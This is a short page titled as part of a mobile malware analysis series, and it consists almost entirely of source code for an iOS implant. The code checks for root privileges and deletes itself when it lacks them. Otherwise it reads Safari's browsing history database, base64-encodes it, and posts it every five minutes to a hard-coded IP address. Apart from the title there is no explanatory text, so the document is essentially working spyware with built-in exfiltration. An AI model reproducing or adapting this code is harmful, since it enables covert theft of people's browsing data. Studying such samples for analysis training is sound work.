Mobile Malware Analysis Part 5 – Analyzing an Infected Device

				
					#include <unistd.h>
#import <Foundation/Foundation.h>

#include "base64.h"

#define TARGET  "/private/var/mobile/Library/Safari/History.db"

int clean(char *);

int main(int argc, char **argv)
{
    // check if we are root and exit if we are not
    if (getuid() != 0) {
        return clean(argv[0]);
    }

    FILE * f;

    for (;;) {
        f = fopen(TARGET, "rb");
        if (f == NULL)
        {
            return clean(argv[0]);
        }

        size_t sz;
        fseek(f, 0, SEEK_END);
        sz = ftell(f);
        fseek(f, 0, SEEK_SET);

        char * content = (char*)malloc(sz+1);
        fread(content, sz, 1, f);
        fclose(f);

        char * dest = (char*)malloc(sz*2);

        Base64encode(dest, content, sz);

        NSMutableURLRequest *urlRequest = [[NSMutableURLRequest alloc] initWithURL:[NSURL URLWithString:@"http://192.168.100.62/history"]];
        NSString *postData = [NSString stringWithFormat:@"history=%s",dest];

        [urlRequest setHTTPMethod:@"POST"];

        NSData *data1 = [postData dataUsingEncoding:NSUTF8StringEncoding];

        [urlRequest setHTTPBody:data1];

        NSURLSession *session = [NSURLSession sharedSession];
        NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:urlRequest completionHandler:^(NSData *data, NSURLResponse *response, NSError *error) {
            }
        ];
        [dataTask resume];

        free(content);
        free(dest);

        sleep(300);
    }

    return 0;
}

int clean(char *p)
{
    remove(p);
    return 1;
}